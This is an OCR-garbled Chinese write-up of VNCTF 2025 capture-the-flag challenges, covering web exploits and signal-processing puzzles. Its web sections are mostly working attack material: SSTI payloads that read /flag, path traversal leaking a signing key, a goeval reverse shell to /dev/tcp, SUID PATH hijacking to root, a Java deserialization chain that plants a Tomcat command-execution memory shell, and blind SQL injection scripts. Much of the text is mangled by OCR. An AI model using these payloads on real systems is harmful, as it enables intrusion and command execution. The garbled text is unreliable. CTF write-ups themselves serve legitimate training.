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>>> template('Hello {{namel}!’, name='World")
u'Hello World!"’

>>> template('Hello {{name.title() if name else "stranger"}}!"', name=None)
u'Hello stranger!’®

>>> template('Hello {{name.title() if name else “"stranger"}}!', name='mArcC’
u'Hello Marc!’
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enctype

@@ Use POST method application/x-www-form-urlencoded - MODIFY HEAD
Body Name
name={{print(5)}} Origin
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URL
http://node. ynteam.cn:45569/students

enctype
@@ Use POST method application/x-www-form-urlencoded - MODIFY HEAI
Bady Name
{fa-—E110 . .
name={{a:=5}}%@a{{print(a)}} Origin
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Go
{{a:=""}}%0a{{b:=a. class_ }}%@a{{c:=b. base_ }}%0a{{d:=c. subc
lasses_ }}%0a{{e:=d()[156]}}%0a{{f:=e. init }}%0@a{{g:=f._ global
s__}}%0a{{z:='_builtins__ '}}%@a{{h:=g[z]}}%@a{{i:=h['op''en']}}%0
a{{x:=i("/flag")}}%0a{{y:=x.read()}}



or help(object) for help about object.) <built-in
function open> <_io. TextiOWrapper name='/flag’
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@@ Use POST method application/x-www-form-urlencoded - MODIFY HEADER
name= Origin ~ http://node.vnteam.cn:45569 x
{{a:=""}}%@a{{b:=a.__class__}}%@a{{c:=b.__base__}}%Ba{{d:=c.__subcla .
sses__) 1e@alie:=d() 2 o -
e e & Content-Type ~ application/x-www-form-urlencc X
[156] 1508 {(F:=e.__init__}}%6a{{g:=F.__globals__}}%8a({z:="__builtiy L L At AL
s__'tieBa{{h:=glz]}}%@a{{i:=h["op' "en’ ]} }%Ba{{x:=i("/flag")}}%Ba{{y: Name Value
=x.read()}} Upgrade-Insecure-Requests  ~ 1 x
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7 routes.go EE I INAIERBA Ao XM £, admin A A IUHLITRED.

SetupRoutes(r *gin.Engine) *gin.Engine
r.GET("/", c *gin.Context

c.Redirect(http.StatusFound, "/login”
)

r.GET("/register”, c *gin.Context

c.File("./static/register.html”

)

r.POST("/register™, controllers.Register)

r.GET("/login”, c *gin.Context
c.File("./static/login.html"

)

r.POST("/login", controllers.Login)
r.GET("/user"”, middleware.AuthMiddleware("user"), c *gin.Context

c.File("./static/user.html”

)
r.POST("/upload”, middleware.AuthMiddleware(“upload”), controllers.Upload)
r.GET("/download”, middleware.AuthMiddleware("download"), controllers.Download)
r.GET("/admin", middleware.AuthMiddleware("admin"), c *gin.Context
c.File("./static/admin.html"
)

r.POST("/eval”, middleware.AuthMiddleware("admin"), controllers.Eval)
return r
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GenerateKey() string

rand.Seed(config.Year())
randomNumber := rand.Intn(1000)

key := fmt.Sprintf("%@3d%s"”, randomNumber, config.Key())
return key
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Download(c *gin.Context
filename := c.DefaultQuery("filename”, "")
if filename == "" {
response.Response(c, http.StatusBadRequest, 4080, » 'Filename is required”
}
basepath := "./uploads"
filepath, _ := url.JoinPath(basepath, filename)

if _, err := os.Stat(filepath); os.IsNotExist(err) {
response.Response(c, http.StatusBadRequest, 404, > "File not found"

}

c.Header("Content-Disposition”, "attachment; filename="+filename)
c.File(filepath)

ETHERAMAT urlJoinPath Hixi&E, RARESR
https://github.com/cokeBeer/go-cves/blob/main/CVE-2022-32190/CVE-2022-
32190.md
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GET /download?filename=. . /config/key. go HTTP/1.1

Host: node. vnteam. cn:45171

User—Agent: Mozilla/5.0 (Windows NT 10.0; Wintd; xé64; rv:134.0)
Gecko/20100101 Firefox/134.0

Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, */*;q=0.8
Accept-Language

zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en;q=0. 2
Accept-Encoding: gzip, deflate, br

Referer: http://node. vnteam. cn:45171/user

Cookie: token=

eyJhbGci0iJIUz 1 1Ni I sInR5cC161kpXVCJ9. eyJ1c2VybmFtZS 161 jEyMylsimlzeyl&61kihe
2gxcjAiLCJzdW1i0iJ1c2Vy IHRva2Vul iwiZXhw! joxNzM4ODE3NTkyLCJpYXQi0 jE3Mzg3MzE
x0TJ9. 13cLO0tkprAnso363Bs2mT_sOKtmLiY65zVuedY4kMNQ
Upgrade-Insecure-Requests: 1

Priority: u=0, i

HTTP/1.1 200 OK
Accept-Ranges: bytes

3 Access—Control-Al low—Credentials: true

Access-Control-Al low-Headers: *

5 Access—Control-Al low-Methods: *
& Access—Control-Allow-Origin: http://localhost:8888

g

Access—Control-Max—Age: 86400

Content-Disposition: attachment; filename=../config/key. go
Content-Length: 91

Content-Type: text/plain: charset=utf-8

Last-Modified: Thu, 23 Jan 2025 15:38:24 GNT

Date: Wed, 05 Feb 2025 04:57:26 GMT

package config

func Key() string |
return "r00t321"

}

func Year () int64 |
return 2025

}

155 2025 Fh1 5EF 02 A ro0t321, FANAHMIK 2025 M7 HYIREE.

root@Mashlre: /test# go run 1l.go

122

root@Mashlre: /test# cat 1.go

package main

import (
"Fmt"
"math/rand”

func main(){
rand.Seed(2025)
randomNumber := rand.Intn(1©60)
fmt.Println(randomNumber)

BRI =B Y: 122r00t321,
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containsBannedPackages(code string) bool
importRegex := "~ (?1)import\s*\((?s:.*?)\)"
:= regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[@]
log.Println(imports)

if strings.Contains(imports, "os/exec”) {
return

return

AT U HEMERE, & go.mod F, AT INHE]—MEBIMITHIE.



module GinTest

go 1.23.2

require (

github.com/PaulXu-cn/goeval v@.1.1
github.com/gin-gonic/gin v1.10.0
github.com/golang-jwt/jwt/v4 v4.5.1
golang.org/x/crypto v0.32.0
gorm.io/driver/mysql v1.5.7
gorm.io/gorm v1.25_12

)
replace github.com/PaulXu-cn/goeval v@.1.1 => /usr/local/go/src/goeval

EiME, BI431& payload,

Go
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval”
)
func main() {
cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",
c\",\"exec bash -i &>/dev/tcp/ip/7777
<&1\");out, :=cmd.CombinedOutput();fmt.Println(string(out))",
"os/exec", "fmt")
fmt.Println(string(cmd))

}

PLINEE] shell, ZEREFE— flag BEERKRA, AAEH VNCTF2025!!
2R
find / -user root -perm -4000 -print 2>/dev/null

ctfer@ret2shell-16-14:/GinTest$ find / -user root -perm -4€0@ -print 2>/dev/null
<t$ find / -user root -perm -4000 -print 2>/dev/null

/usr/bin/gpasswd

/usr/bin/umount

/usr/bin/chfn

/usr/bin/chsh

/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat

JUERE—PEFIEM Cat. BMNEETERIBERE VNCTF2025!F B&F A
cat, JEN A cat fflag (th®] PLEFE R DTN, e X5 Cat F/flag A A



BREATRT), BTNSHMELERN, i cat Aid],

ctfer@ret2shell-16-14:/...% echo '/bin/bash"' > /tmp/cat
echo '/bin/bash' > /tmp/cat

ctfer@ret2shell-16-14:/...$% chmod 777 /tmp/cat

chmod 777 /tmp/cat

ctfer@ret2shell-16-14:/...% export PATH=/tmp:$PATH

export PATH=/tmp:$PATH
ctfer@ret2shell-16-14:/...% ./Cat
./Cat

whoami

root

RIETTULIL root B THEHE — flag, EEFREETT, XEILEAERM cat, FHA]
BT IMELT E cat ELZ/bin/bash 7,

tac flag
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javaGuide
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Java
public class Exp{

public static byte[] file2ByteArray(String filePath) throws
IOException {
InputStream in = new FileInputStream(filePath);
byte[] data = inputStream2ByteArray(in);
in.close();
return data;
}
public static byte[] inputStream2ByteArray(InputStream in)
throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];



int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 9, n);

return out.toByteArray();

public static TemplatesImpl getTemplatesImpl(byte[] code)

throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Util.setFieldValue(templates, " _bytecodes", new
byte[][]{code});

Util.setFieldValue(templates, " name", "name");

Util.setFieldValue(templates, " _tfactory", new
TransformerFactoryImpl());

return templates;

public static EventListenerlList getEventListenerList(Object

obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector)Util.getFieldValue(manager,
"edits");
vector.add(obj);
Util.setFieldValue(list, "listenerList", new
Object[]{InternalError.class, manager});
return list;
}
public static Object getFastjsonEventListenerList(Object
getter) throws Exception {
JSONArray jsonArray@® = new JSONArray();
jsonArray@.add(getter);
EventListenerList eventlListenerListO =
getEventlListenerList(jsonArray9);
HashMap hashMap® = new HashMap();
hashMap@.put(getter, eventListenerList®);
return hashMap@;

public static SignedObject getSingnedObject(Serializable obj)



throws Exception {
KeyPairGenerator keyPairGenerator =
KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(obj,
privateKey, signingEngine);
return signedObject;

public static void main(String[] args) throws Exception{

TemplatesImpl templatesImpl =
getTemplatesImpl (file2ByteArray ("E:\\ideaProjects\\Java-unser-
utils\\target\\classes\\FilterShell.class"));

Object calc = getFastjsonEventListenerList(templatesImpl);

SignedObject singnedObject =
getSingnedObject((Serializable) calc);

Object fastjsonEventlListenerlList =
getFastjsonEventListenerList(singnedObject);

Util.printURLEncodedBase64SerializedString(fastjsonEventListenerlLi
st);

AED

Java
public class FilterShell extends AbstractTranslet implements
Filter {

public static <T> T createWithConstructor(Class<T>

classToInstantiate, Class<? super T> constructorClass, Class<?>[]
consArgTypes, Object[] consArgs) throws Exception {

Constructor<? super T> objCons =
constructorClass.getDeclaredConstructor(consArgTypes);

objCons.setAccessible(true);

Constructor<?> sc =
ReflectionFactory.getReflectionFactory().newConstructorForSerializ



ation(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);

public static Field getField(final Class<?> clazz, final
String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);

field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(),
fieldName);
}

return field;

public static Object getFieldValue(Object obj,String
fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;

}
public FilterShell() throws Exception {

WebappClasslLoaderBase webappClasslLoaderBase =
(WebappClassLoaderBase)
Thread.currentThread() .getContextClassLoader();
StandardRoot resources = (StandardRoot)
getFieldValue(webappClassLoaderBase, "resources");
StandardContext context = (StandardContext)
resources.getContext();

String filterName = "fffff";

// i FilterMap

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");

// #Ji& FilterDef
FilterDef filterDef = new FilterDef();



filterDef.setFilterName(filterName);
filterDef.setFilter(this);

/) LRGP FEIR G E 75 KT CIEXT R
ApplicationFilterConfig applicationFilterConfig =
createWithConstructor(
ApplicationFilterConfig.class,
ApplicationFilterConfig.class,
g~ = kit
new Class[]{Context.class, FilterDef.class},
/)=
new Object[]{context, filterDef}
)s

// B F] context HHJ filterConfigs, A/a#F
applicationFilterConfig WA

HashMap<String, ApplicationFilterConfig> filterConfigs =
(HashMap<String, ApplicationFilterConfig> )getFieldValue(context,
"filterConfigs");

filterConfigs.put(filterName,applicationFilterConfig);

context.addFilterDef(filterDef);
context.addFilterMap(filterMap);

}

@Override

public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain) throws IOException, ServletException
{

try {
String argd = request.getParameter("cmd");

if (argo != null) {
PrintWriter writer = response.getWriter();

String o = "";
ProcessBuilder p;
if

(System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe",
"/c", argeé});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh",
"-c", arge});



Scanner ¢ = (new
Scanner(p.start().getInputStream())).useDelimiter("\\A");

o = c.hasNext() ? c.next() : o;

c.close();

writer.write(o);

writer.flush();

writer.close();

} else {
chain.doFilter(request, response);

}
} catch (Exception var8) {
}
}
@Override

public void transform(DOM document, SerializationHandler]]
handlers) throws TransletException {

@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {

@Override
public void init(FilterConfig filterConfig) throws
ServletException {

@Override
public void destroy() {

ez_emlog
install.php 4 57 Wi R4S



Java
$config = "<?php\n"
. "//MySQL database host\n"
. "const DB_HOST = '$db _host"';"
. "\n//Database username\n"
. "const DB_USER = '$db _user';"
. "\n//Database user password\n"
. "const DB_PASSWD = "'$db_pw';"
. "\n//Database name\n"
. "const DB_NAME = '$db_name';"
. "\n//Database Table Prefix\n"
. "const DB_PREFIX = '$db_prefix';"
. "\n//Auth key\n"
. "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';"
. "\n//Cookie name\n"
. "const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32,
false) . "';"

M getRandStr &M mt_rand LIS

Java
function getRandStr($length = 12, $special chars = true,
$numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789"';
} else {
$chars =
'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789 " ;
if ($special chars) {
$chars .= "1@#$%"&*()"';

}
$randStr = '';

$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(@, $chars_length - 1),
1);
}

return $randStr;

}

PRIAARABE BB ENFIE o DUBIR AT, SARTUN AUTH_KEY, SKER EBRMAMTT
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Java

if ($action == 'logout') {
setcookie(AUTH _COOKIE NAME, ' ', time() - 31536000, '/');
emDirect("../");

%8 H4 AUTH_COOKIE_NAME FUJU4 AUTH_KEY

Java
[v3g3tdble:~/Temp]$ curl -i
"http://118.25.150.250:60080/admin/account.php?action=logout"’
HTTP/1.1 302 Found
Date: Mon, 27 Jan 2025 ©09:00:36 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: EM_AUTHCOOKIE_ RbAWVNJIZ5YMeZLGMr561fjValO3yqYlr=%20;
expires=Sun, 28 Jan 2024
09:00:36 GMT; Max-Age=0; path=/
Location: ../
Content-Length: ©
Content-Type: text/html; charset=UTF-8

Java

./phpmt seced 000 0000 0OODOO 0OOO 0OOOO ©0OOO
0000 0000 00

OO0 D000 0DOODO OOVDOO ODOOO OOLOO OOOO ©0OOO
0000 0000 00

OO0 D000 0DOODO 0OOVDOO ODOOO OOOO OOOO ©0OOO
©O00O 0000 00

OO0 0000 0OOOO 0O0OO 343061 11061 26 260 61

48 48 0 61 21 21 0 61

3939961 3535061 5151061 5757061 5050061 38 38

061 44061 51510
61 37 37 06 61 32 32 061 38 38061 17 17 0 61 57 57 0 61 58
58 961 11 11 @0 61 5
5061 99061 47 47 061 00061 11 11 0 61 40 40 0 61 55
55 0 61 24 24 0 61 16

16 6 61 50 50 0 61 11 11 @ 61 17 17 © 61

125 H FhF 2 2430606281
REEBMILENZEE



Java
public static function validateAuthCookie($cookie = '')
{
if (empty($cookie)) {
return false;
}
$cookie_elements = explode('|', $cookie);
if (count($cookie elements) !== 3) {
return false;

}

list($username, $expiration, $hmac) = $cookie elements;
if (!empty($expiration) && $expiration < time()) {
return false;

}
$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration,
$key);
if ($hmac !== $hash) {
return false;
}
$user = self::getUserDataByLogin($username);
if (!$user) {
return false;
}
return $user;
}
private static function emHash($data)
{
return hash_hmac('md5', $data, AUTH_KEY);
}

public static function getUserDataBylLogin($account)
{
$DB = Database::getInstance();
if (empty($account)) {
return false;
¥
$ret = $DB->once_fetch_array("SELECT * FROM " .
DB_PREFIX . "user WHERE username =
‘$account’ AND state = 0");
if (!$ret) {
$ret = $DB->once fetch_array("SELECT * FROM " .
DB_PREFIX . "user WHERE email
= '$account’' AND state = 0");



if (!'$ret) {
return false;

}

$userData[ 'nickname’'] =

htmlspecialchars($ret[ ‘nickname’]);
$userData[ 'username’'] =

htmlspecialchars($ret[ ‘username']);
$userData[ 'password'] = $ret[ 'password'];
$userDatal'uid'] = $ret['uid'];
$userData[ 'role'] = $ret['role'];
$userData[ 'photo'] = $ret['photo’];
$userData['email'] = $ret['email’];
$userData[ 'description'] = $ret['description'];
$userData['ip'] = $ret['ip'];
$userData[ 'credits'] = (int)$ret['credits'];
$userData[ 'create_time'] = $ret['create_time'];
$userData[ 'update_time'] = $ret['update_time'];
return $userData;

}

XETUEER, TNBE-ANLEEFNAAER, M getUserDataBylogin EEmHE—4
AR sql ZA, TREEKERERESER, BHXEBLEHAFRRRIMERT

Java

<?php

$seed = 2430606281;

mt_srand($seed);

$rand_string =
"abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789 ! @#
$%7&*()";

$retStr = '';

for ( $i = 0; $i < 32; $i++ ){

$retStr .= substr($rand_string,mt_rand(@, strlen($rand string) -
1), 1);

}

$ua=md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)Chrome/130.0.6723.70
Safari/537.36");

$authkey=%$retStr.$ua;

echo 'AUTH_KEY:'.$authkey."\n";

$username = "x' and

updatexml(1,concat(0x7e, (select(substr(username,1,16))from(emlog u
ser)),0x7e),1) #";



$expiration = 9;

$data = $username . '|' . $expiration;

$key = hash_hmac('md5', $data, $authkey);

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
echo
"EM_AUTHCOOKIE_RbAWVNJIZ5YMeZLGMr561fjValo3yqYlr=".$username."|".$e
xpiration."|".$hash;

AP EZHER—TTHM cookie, MEERERT
& getshell HRE 3%, XEFERIEM getshell

N .
=
EMEEET
EEMLOGR!!K LRRE  RUSINES ERENE GitHubE % Q
.
RIS
@ 1Panelii®
# Docker#5% pdii)
e caEm - D = At
« [EFER: /content/plugins, EFERTE—FEL—NER
i . fEfEY RSB R: tips, (L8] HEHETRIE/IEITETRIE php” BRGIRET, I
- tips/tips.php
e st
» wocphp T
3 xxx_callbackphp  WHHE
s

xocsettingphp 1

previewjpg I, BTEAEEIIRRE, RY: 7575 @%

EEIEHRE) oo MIEIHESIE, FESIEHANEN A

FEET e I A

WE—MERNENS, e EEZRNE getshell,

L UYAEIES

sqlite Bf[EI§E, HE fuzz T waf

waf_list = ["union",K"=", ,"sleep","bench"]

BEYE

https://www.freebuf.com/articles/network/324785.html


https://www.emlog.net/docs/dev/plugin

IR E==4&, {#H randomblob 3k i#47ZE Y
RABA

Python

import requests

import time

url = "http://node.vnteam.cn:46017/login'
flag = "'
for i in range(1,500):

low = 32

high = 128

mid = (low+high)//2

while(low<high):

time.sleep(0.2)

payload = "-
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(usern
ame))/**/from/**/users),{0},1)>"'{1}")/**/then/**/randomblob (500000
00)/**/else/**/0/**/end)/*".format(i,chr(mid))

# payload = "-
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))
/*¥*/from/**/sqlite_master),{0},1)>"'{1}"')/**/then/**/randomblob (300
000000)/**/else/**/0/**/end)/*" .format(i,chr(mid))

datas = {

"username":"123",
"password": payload

}

# print(datas)

start_time=time.time()

res = requests.post(url=url,json=datas)

end time=time.time()

spend_time=end_time-start_time

if spend_time>=0.19:

low = mid+1
else:
high = mid

mid = (low+high)//2

if(mid ==32 or mid ==127):
break

flag = flag+chr(mid)

print(flag)

print('\n'+bytes.fromhex(flag).decode( 'utf-8"'))

JE N £3E nailong/woaipangmao114514 &% Ao $x45 flag



Misc

VN_Lang

REHBAFEHFET VN Font, FREHBANT M rust miFn GUI KA, BHFE
BRiasERS LR TR VN Font iy flag 455 . BRiT4aH A9 rust {CRD

Rust
/) JERL
// Fake Flag Lol
let textl = "VNCTF{VNCTF";

Let text2 = "VNCTFVNCTF";
Llet text3 = "CTFVNCTFVN";
let text4 = "VNFTCVNFTC";

Let text5 = "CTFVNCTFVN}";
Let (width, height) = window.get size();

JINKH flag FHEEA—THOHF, BRERE—AEFEXN, BARFFSME
FAEX I F R IRIMFF R T 4RFLFH exe 1, i rust XIGHF AR \0 " #RIRFFF &
#R, MEFEAFHEVNRFHFNE+KENEMEER, 8hiXENEREERFTN
BRHSRIN A VNCTF{VNCTFVNCTFVNCTFCTFVNCTFVNVNFTCVNFTCCTFVNCTFVN} ,
KBIANESHEE R HASHES flag B BTER, §—HEZFHEE.

R exp:

Bash
strings VN_Lang.exe | grep "VNCTF{"

ezSignal
£/ BandZip BES A HIER, A TAXMHEREN 2{ERBF—3K png AR



€@ 99% ezSignal_fixzip - Bandizip (Professional) = O >
IR SE(E) =) EIO) WEN) TET EENH)

EEEFD
354,362,382

354,325,632 PNG

99% 00:00:00 / 00:00:00
99% 00:00:00 / 00:00:00

Lloog

EAEEEENEE. (3
HllER

et 2 frttses 0, B 37 MB

010 FTH A A X & A=, Windows S EiZ X8 AIEE, 7 BandZip
AER.




F Edgegs PEEDE B> S8

LafcHz0.
A

uint
uint
uint

ushort
uint
> uint
deFileName[1 151F2CEOh 1h char
dirEntry{1] iy 151F2CE1h
endL

IR IR R

g-.

G Linux REMESER 7-Zip FRFINERSEXMBOBERAEE, 7-Zip
SB=RERA T L.




FB CAUsers\67300\Downloads\ezSignal_fixziph,

MH(F) B EAEV) BEA) I8 #BaH)

h = v B = ¥ f

=N BRI AL =N B BER S8

? £ C\Users\h7300\Downloads\ezSignal fixzipy

R Fobh EEEA.. fEdEiE] GlEmadiEl  aRETE s EE
] 9 561 2 146 2025-02-09 00:41 A -

% 1.png 354 325 .. 354362 .. 2025-02-0900:51  2025-02.. 2025-02.. A
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BETHREFTASE XS, ZRBUTIREXAEFR, EFEIMHMELEHRTERERSE
A AT, A4 GNU Radio 4 Y. gre X1t

Google options: parameters: author: C3ngH catch_exceptions: ‘True' category: [GRC Hier Blocks]' x




ChatGPT v

- [low_pass filter 0, ‘0', blocks_complex_to_real 0,
- [low_pass filter 0, ‘0, blocks_repeat_0_0, '0']

- [low_pass_filter 0, '0', qtgui_sink x 0, '0']

- [virtual_source 0, '0', low_pass filter 0, '0']

metadata:
file_format: 1
grc_version: 3.10.10.0
XRTAXH

X2 GNU Radio Companion (GRC) REEX#E, ATEN—" GNU Radio &IF 7R, &
{SERME. ERi-TcEE (SDR) M. BEEFIeE,

Ear A 1.grc F# A GNU Radio ¥TF1Z XX 14

flag.grc - C:\Users\67300\Desktop
File Edit View Run Tools Help

G-B- L x 3§ °r Qc
Options Variable Variable QT GUI Range QT GUI Chooser
Title: VNCTF 2025 ID: samp_rate | | ID: usrp_rate 1ID: volume 1ID: pl_freq
Author: C3ngH Value: 48k Value: 576k Label: Audio gain Label: PL Tone
Description: Do you know FM? Default Value: 5| | Num Options: List
Output Language: Python Variable Start: 0 Options: [0.0, 67.0, 71.9,...
Generate Options: QT GUI 1ID: if_rate Stop: 10 Labels: ["0.0%, "67.0", "
Value: 192k Step: 100m Default option: 0

Signal Source
Sample Rate: 48k
Waveform: Sine

Frequency: 0 NBFM Transmit
Amplitude: 150m Audio Rate: 48k
Offset: D

Initial Phase (Radians): 0 Band Pass Filter

PL tone gen Decimation: 1

Gain: 1

Sample Rate: 48k
Low Cutoff Freq: 300
High Cutoff Freq: 5k
Transition Width: 200 Audio gain
Window: Hamming
Beta: 6.76

Quadrature Rate: 192k ual Sink
Tau: 75u Stream ID: tagl
Max Deviation: 5k

Preemphasis High Corner Freq: -1

ly Const
Constant: 5

Wav File Source
File: ...0\Downloads\flag.wav
Repeat: No

ZMQ PUB Sink
Address: tcp://1....0.1:49203
Timeout (msec): 100
Pass Tags: No
Filter Key:

Connection: Bind

Low Pass Filter
Decimation: 1
Gain: 1

ual Source Sample Rate: 192k
Stream ID: tagl Cutoff Freq: 5k

QT GUI Sink
Name:
FFT Size: 1024

USRP sample rate = 576kHz

Center Frequency (Hz): 0

Transition Width: 2k Bandwidth (Hz): 192k File Sink
Window: Hamming Update Rate: 10 File: ...\Downloads\flagl.txt
Beta: 6.76 d: Off

Append file: Overwrite

Complex To Float

File Sink
File: ...\Downloads\flag2. txt
Unbuffered: Off
Append file: Overwrite

BHIERRERAE



*flag.grc - CAUsers\67300\Desktop - B x
File Edit View Run Tools Help

G-B-i+x B YO0® 6o e bE N0 KA acp
Options Variable Variable QT GUI Range QT GUI Chooser
Tithe: VNCTF 2025 10 samp_rate | | 1D usip_rate 1D: vokame:
Author: Cing Value: 48k Value: 576k Laabel : Auio gain J
Description: Do you know FM?) Default Value: 5 tions: List
output Language: Preben | [ yariable Start:0 ons: (0.3, 67., 715,..
Generate Options: OT 61 | | - Stupt 10 e . QT GUI Sink
Value: 197 Steps 100m Default option: 0 Mame:

FET Sizes 1024
Center Frequency (H2)i 0
Bandwidth (Hz): 192

Signal Saurce
Sample Rate: 46k
Waveform: Sire:

Frequency: 0 .
Amplitudes 150m HBFM Transmit ZMQ PUB Sink
Offgat: 0 Audio Rate: 4 Address: tcp:/1... 0.1:49203

Quadrature Rate: 192
Taus 75

Max Deviation: 5

Precmphasis High Correr Freq: -1

Initial Phase (Radians): O

PL tone ges Band Pass Filter
Decmation: 1

Gain: 1

Wav File Source Sample Rate: 48k

Low Cutoff Freq: 300 [—+ :;!‘_g_":f;mﬂ

High Cutoff Freq: Sk

Transition Wichs 200 Aot ga

Window: Hamming

Betai 676

Virtual Sink
Stream 1D tagl

Virtual Source
Stream ID: tagl

Repeat
Interpolation: 3

Low Pass Filter
Decimation: |

py
4 Sample ot 1926
oot e 5

Transition Width: 2%
Windaw: Harnrming
Bota: 6,76

Complex To Float

File Sink
File: ...\Dovnloads\flag2.txt
Unbuffered: Off
Append file: Overvrite

1R#% Options # Description AJ427~: Do you know FM?FAmBETIAN: 1ZATREL
W flag.wav, #f7%F™ FMiAH, fdih flag.txt B9IheE, HREEPEEE
M. FTHEF flagl 2.txt,

£ 010 ¥ T R4+ M 1.png, RIIRBEENOT:

HATIEHR 'C:\Users\67300\Documents\SweetScape\010 Templates\Repository\PNG.bt" F 'C:\Users\67300\Downloads\1\1.png'...

“$EIR1T 332: BIRCIEY3E 'data’ BIXHLER

® 010 Editor

n Mz REREIR 'C\Users\67300\Documents\SweetScape\010
Templates\Repository\PNG.bt'. & InEkaiimtittsc(4?

[(meo | w0 =80

ENLE png A RET LRSS zip X4

ME(V) BRO) () i IGE (P)

g,-lhocu ,oz lre L N

ES: ]
struct PNG_SIGNATURE
struct PNG_ CHUNK
struct PNG_CHUNK
struct PNG_CHUNK
struct PNG_ CHUNK
chunk[4] struct PNG_CHUNK
chunk[5] 3 struct PNG_CHUNK
chunk[6] \ L - struct PNG_CHUNK
chunk[7] 00 (Critical, Public, U... 1993h struct PNG_CHUNK

x 2

chunk[0] IHDR (Critical, Public,
chunk[1] sRGB (Anci

chunk[2] gAMA (Ancillary, Publ...
chunk[3] ncillary, Publl

N T W NN

NWwmom o=




fE A binwalk 2BV REFE] flagl 2.txt, A TTRERE AXHE K, foremost 5§
W ERBUL I

% 178A.zip - Bandizip (Professional)
MR REBE R0 OEmO) AN TR #EEH)

[ e

iz & e

£ 178Azip £ i Bl EE
b flaglixt 176,354,316 194,462,208 TXT ]
b flag2.xt 177,965,008 194,462,208 TXT ]

i 2, 3 O, [EESET 337 MB

BEFFEELERE, TURERTEEYE@GIE—MRERE, SKIINEE: Sk flagl
2.txt, B FM ﬁﬁﬂﬁ#iﬁﬁi# 1.wav, RIEEIT:

Options Variable Variable Band-pass Filter Taps QT GUI Range QT GUI Range
Title: VNCTF 2025 WriteUp ID: samp_rate | |ID: rf_decim| |ID: channel_filter ID: sq M 1D: volume
Author: C3ngH Value: 576k Value: 3 Tap Type: Complex Label: Squelch Label: Volume
Description: N8 FM receiver Gain: 1 Default Value: -50 | | Default Value: 50m
Output Language: Python Sample Rate (Hz): 576k Start: -100 Start: 0
Generate Options: QT GUI Low Cutoff Freq (Hz): -3k Stop: 0 Stop: 1
High Cutoff Freq (Hz): 3k Step: 5 Step: 50m
Transition Width (Hz): 200
Window: Hamming
Beta: 6.76
File Source
File: ...\Downloads\flag1.bdt
Repeat: No
Add begin tag: ()
Offset: 0
Length: 0 NBFM Receive
Simple Squelch Audio Rate: 48k
Threshold (dB): -50 Quadrature Rate: 192k }
) Alpha: 1 Tau: 75u
File Source Max Deviation: 5k

File: ...\Downloads\flag2.txt
Repeat: No

Add begin tag: ()
Offset: 0 Wav File Sink
Length: 0 File: ...\67300\Desktop\1.wav

g Sample Rate: 48k
=S S Output Format: WAV

Volume Bits per Sample: 16-bit

Append to existing file: No

] U 7E GNU Radio B 77X L EIF® FM SIENES], SEZMATIFERNTRZE
HOIEIE, SRE7 wiki ER#EIET:
https://wiki.gnuradio.org/index.php?title=Simulation example: Narrowband FM tran
sceiver



https://wiki.gnuradio.org/index.php?title=Simulation_example:_Narrowband_FM_transceiver
https://wiki.gnuradio.org/index.php?title=Simulation_example:_Narrowband_FM_transceiver

BEIXMHE, Wrl.wav ofHI2 SSTV, o FEMAER+RX-SSTV #17#3#, RX-SSTV
S BIMNRAINEE, 52—k Aztec code, FHIEFRIER (AR FMRIER
GitHub FRan ST TESAIREE: SSTV mode is unsupported (VIS: 95), o
MARYE VIS: 95 Z #|#r SSTV Mode 4 PD120)

) RX-SSTV v.2.2.0 ? 2008-2024 ON6MU (SSTVENG.DLL v.1.06)

le Edit View Tools Setup Help
bxyRX I ‘G:.‘,History ]

Signal

R¥X options

Robot 36 |/11/777/77 STOP, |[ReSync
l Martin 1 Martin 2 ] ) Slant
| scottie1 | PD120 | psp

|PD120 -

|| iy o e
4 4P P | ) I@Qﬁ@ . I"GExit

VNCTF{Wew_YOu_Ar3_G@od_4t_R4di® Sign4L}




VNCTF{WOw_YOu_Ar3 GOod_4t R4di
O_Sign4l}

39 FfF, AZTEC

RN 3

56 4E 43 54 46 7B 57 30 VNCTF{WO
77 5F 59 30 75 5F 4172 w_YOu_Ar
